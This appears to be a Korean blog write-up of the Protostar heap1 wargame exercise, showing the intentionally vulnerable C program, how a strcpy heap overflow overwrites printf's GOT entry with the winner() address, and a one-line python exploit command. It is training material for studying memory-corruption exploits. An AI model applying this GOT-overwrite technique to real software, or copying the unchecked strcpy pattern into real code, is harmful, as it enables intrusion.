protostar heap1

assb
|2020. 11. 12. 15:26

old.liveoverflow.com/binary_hacking/protostar/heap1.html

 

Heap 1 - LiveOverflow

We are solving heap1 from exploit-exercises.com by exploiting a heap overflow.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

  

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

  이 문제는 printf 함수의 GOT를 winner 함수의 주소로 변경해야 한다. strcpy 함수를 사용해 heap overflow를 발생시켜서 GOT 값을 변경한다. 

 

GOT란?

 

protostar format4

old.liveoverflow.com/binary_hacking/protostar/format4.html Format 4 - LiveOverflow Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n. old.liveov..

assb.tistory.com

 

 

 먼저 printf 함수의 GOT를 확인한다. 

0x8049774

 

 strcpy 함수를 실행하게 bp를 걸고 프로그램을 돌린다. 이때 argv[1]과 argv[2]를 넣고 실행해야지 오류가 안난다.  

 

 프로그램을 실행한 후 esp를 살피면 0x0804a018이라는 주소를 확인할 수 있다. 이를 따라 이동하면 포인터가 가리키는 공간이 나오며, argv[1]로 입력한 AAAA가 저장된 것을 확인할 수 있다. 즉, 0x0804a018는 i1->name이다.

0x804a02C에는 주소가 존재하는데, 이는 i2의 name 포인터이다. 이 위치에 GOT를 넣어주고, 그 다음 winner 함수의 주소를 넣어주면 winner 함수가 실행되게 된다. 

 

정리해보면 이렇게 된다.

0xbffffc80: i1->name pointer

0x0804a018: i1->name

0x0804a02C: i2->name pointer

0x0804a038: i2->name

 

 argv[1]로 임의의 20byte+printf got, argv[2]로 winner 주소를 입력하면 문제가 풀린다.

./heap1 `python -c 'print "\x90"*20+"\x74\x97\x04\x08"+" \x94\x84\x04\x08"'`

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar heap2  (0) 2020.11.12
protostar heap0  (0) 2020.11.06
protostar format4  (0) 2020.11.05
protostar format3  (0) 2020.11.05
protostar format2  (0) 2020.11.05